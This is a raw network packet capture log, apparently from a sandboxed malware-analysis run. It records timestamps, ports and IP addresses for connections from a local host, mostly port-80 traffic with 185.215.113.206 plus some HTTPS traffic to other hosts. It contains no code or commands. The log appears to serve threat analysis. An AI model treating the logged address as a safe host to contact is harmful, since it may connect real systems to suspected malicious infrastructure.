Oct 27, 2024 17:54:37.913342953 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.913382053 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.913520098 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.913530111 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.913568974 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.913642883 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.913690090 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.913691044 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.913703918 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.913731098 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.913742065 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.913754940 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.913760900 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.913806915 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.914374113 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.914395094 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.914417028 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.914427996 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.914432049 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.914439917 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.914452076 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.914463043 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.914494991 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.958690882 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.958719015 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.958735943 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.958746910 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:37.958749056 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.958769083 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:37.958791018 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.007551908 CET	443	49890	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.007947922 CET	49890	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.007986069 CET	443	49890	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.008723021 CET	443	49890	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.009110928 CET	49890	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.009239912 CET	443	49890	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.009393930 CET	49890	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.011257887 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.011493921 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.011518002 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.012054920 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.012350082 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.012442112 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.012540102 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.012569904 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.012586117 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.033260107 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.033272028 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.033359051 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.033361912 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.033370972 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.033384085 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.033396006 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.033406973 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.033453941 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.033791065 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.033802032 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.033845901 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.033941031 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.033952951 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.033963919 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.033998013 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.034015894 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.034243107 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.034270048 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.034284115 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.034320116 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.034322977 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.034332991 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.034349918 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.034378052 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.034919024 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.034960985 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.034981966 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.035000086 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.041701078 CET	443	49897	23.221.22.207	192.168.2.5
Oct 27, 2024 17:54:38.041940928 CET	49897	443	192.168.2.5	23.221.22.207
Oct 27, 2024 17:54:38.041959047 CET	443	49897	23.221.22.207	192.168.2.5
Oct 27, 2024 17:54:38.042438030 CET	443	49897	23.221.22.207	192.168.2.5
Oct 27, 2024 17:54:38.043462992 CET	49897	443	192.168.2.5	23.221.22.207
Oct 27, 2024 17:54:38.043562889 CET	443	49897	23.221.22.207	192.168.2.5
Oct 27, 2024 17:54:38.049371004 CET	443	49898	23.221.22.207	192.168.2.5
Oct 27, 2024 17:54:38.049586058 CET	49898	443	192.168.2.5	23.221.22.207
Oct 27, 2024 17:54:38.049613953 CET	443	49898	23.221.22.207	192.168.2.5
Oct 27, 2024 17:54:38.050698042 CET	443	49898	23.221.22.207	192.168.2.5
Oct 27, 2024 17:54:38.050770044 CET	49898	443	192.168.2.5	23.221.22.207
Oct 27, 2024 17:54:38.051336050 CET	443	49890	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.051830053 CET	49898	443	192.168.2.5	23.221.22.207
Oct 27, 2024 17:54:38.051898956 CET	443	49898	23.221.22.207	192.168.2.5
Oct 27, 2024 17:54:38.054291964 CET	443	49896	23.221.22.207	192.168.2.5
Oct 27, 2024 17:54:38.056401014 CET	49896	443	192.168.2.5	23.221.22.207
Oct 27, 2024 17:54:38.056410074 CET	443	49896	23.221.22.207	192.168.2.5
Oct 27, 2024 17:54:38.056891918 CET	443	49896	23.221.22.207	192.168.2.5
Oct 27, 2024 17:54:38.057367086 CET	49896	443	192.168.2.5	23.221.22.207
Oct 27, 2024 17:54:38.057451010 CET	443	49896	23.221.22.207	192.168.2.5
Oct 27, 2024 17:54:38.078778028 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.078818083 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.078830004 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.078846931 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.078874111 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.078891993 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.078927040 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.078938961 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.078941107 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.078969955 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.078984976 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.082763910 CET	443	49887	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.083105087 CET	443	49887	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.083172083 CET	49887	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.083204031 CET	49887	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.083204031 CET	49887	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.083220959 CET	443	49887	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.083234072 CET	443	49887	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.090678930 CET	49904	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.090714931 CET	443	49904	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.090805054 CET	49904	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.091460943 CET	49904	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.091475010 CET	443	49904	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.107336044 CET	49897	443	192.168.2.5	23.221.22.207
Oct 27, 2024 17:54:38.127944946 CET	443	49895	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.128601074 CET	49895	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.128626108 CET	443	49895	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.129062891 CET	49895	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.129069090 CET	443	49895	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.133265972 CET	443	49892	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.133644104 CET	49892	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.133723974 CET	443	49892	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.134335041 CET	49892	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.134350061 CET	443	49892	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.139889002 CET	443	49893	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.140454054 CET	49893	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.140470982 CET	443	49893	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.140957117 CET	49893	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.140961885 CET	443	49893	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.142153025 CET	443	49894	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.142502069 CET	49894	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.142534971 CET	443	49894	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.142900944 CET	49894	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.142913103 CET	443	49894	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.156253099 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.156264067 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.156275988 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.156286955 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.156303883 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.156316042 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.156317949 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.156327963 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.156358004 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.156374931 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.156627893 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.156641006 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.156651974 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.156680107 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.156693935 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.156707048 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.156707048 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.156721115 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.156737089 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.156765938 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.198952913 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.198970079 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.198982954 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.198993921 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.199006081 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.199013948 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.199018002 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.199070930 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.199070930 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.256711006 CET	443	49895	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.256880999 CET	443	49895	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.256954908 CET	49895	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.257064104 CET	49895	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.257075071 CET	443	49895	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.260231018 CET	49905	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.260278940 CET	443	49905	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.260399103 CET	49905	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.260905981 CET	49905	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.260931969 CET	443	49905	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.261390924 CET	49898	443	192.168.2.5	23.221.22.207
Oct 27, 2024 17:54:38.261413097 CET	443	49898	23.221.22.207	192.168.2.5
Oct 27, 2024 17:54:38.261468887 CET	49896	443	192.168.2.5	23.221.22.207
Oct 27, 2024 17:54:38.262144089 CET	443	49892	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.262300968 CET	443	49892	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.262389898 CET	49892	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.262511969 CET	49892	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.262511969 CET	49892	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.262547016 CET	443	49892	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.262577057 CET	443	49892	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.266119003 CET	49906	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.266206980 CET	443	49906	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.266448021 CET	49906	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.266776085 CET	49906	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.266810894 CET	443	49906	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.270102978 CET	443	49893	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.270282984 CET	443	49893	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.270339012 CET	49893	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.270684958 CET	49893	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.270693064 CET	443	49893	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.270709991 CET	49893	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.270716906 CET	443	49893	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.273422003 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.273443937 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.273453951 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.273484945 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.273509979 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.273586988 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.273597956 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.273626089 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.273642063 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.273710012 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.273734093 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.273768902 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.273880005 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.273921013 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.273947001 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.273960114 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.273996115 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.274000883 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.274013996 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.274024963 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.274040937 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.274066925 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.274694920 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.274734974 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.274745941 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.274748087 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.274770975 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.274781942 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.275480032 CET	49907	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.275515079 CET	443	49907	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.275594950 CET	49907	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.275749922 CET	49907	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.275768995 CET	443	49907	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.276973009 CET	443	49894	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.277019978 CET	443	49894	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.277070045 CET	443	49894	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.277137041 CET	49894	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.277172089 CET	49894	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.277185917 CET	443	49894	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.281172991 CET	49908	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.281202078 CET	443	49908	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.281411886 CET	49908	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.282110929 CET	49908	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:38.282124996 CET	443	49908	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:38.297208071 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.297250032 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.297275066 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.297316074 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.297367096 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.297404051 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.297425032 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.302973986 CET	443	49890	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.302999973 CET	443	49890	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.303060055 CET	49890	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.303070068 CET	443	49890	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.303086042 CET	443	49890	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.303144932 CET	49890	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.304743052 CET	49890	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.304753065 CET	443	49890	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.305299044 CET	49909	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.305318117 CET	443	49909	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.305423021 CET	49909	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.306713104 CET	49909	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:38.306727886 CET	443	49909	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:38.369697094 CET	49898	443	192.168.2.5	23.221.22.207
Oct 27, 2024 17:54:38.535628080 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.535645008 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.535661936 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.535692930 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.535712957 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.535725117 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.535731077 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.535751104 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.535788059 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.535808086 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.535819054 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.535840988 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.535860062 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.536298037 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.536647081 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.538081884 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.538100004 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.538114071 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.538130045 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.538141012 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.538147926 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.538167000 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.538176060 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.538182974 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.538203955 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.538212061 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.538250923 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.538299084 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.538305998 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.538337946 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.538499117 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.538515091 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.538528919 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.538536072 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.538544893 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.538562059 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.538567066 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.538577080 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.538598061 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.538610935 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.539000034 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.539015055 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.539051056 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.539103031 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.539171934 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.539197922 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539205074 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.539213896 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539228916 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539238930 CET	49891	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:38.539239883 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.539244890 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539252043 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.539262056 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539268970 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.539278984 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539297104 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539310932 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.539343119 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.539362907 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539364100 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.539444923 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.539453030 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539469004 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539484978 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539488077 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.539491892 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.539500952 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539508104 CET	443	49891	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:38.539510965 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.539515972 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539529085 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539546013 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:38.539557934 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:38.539562941 CET	80	49853	185.215.113.206	192.168.2.5
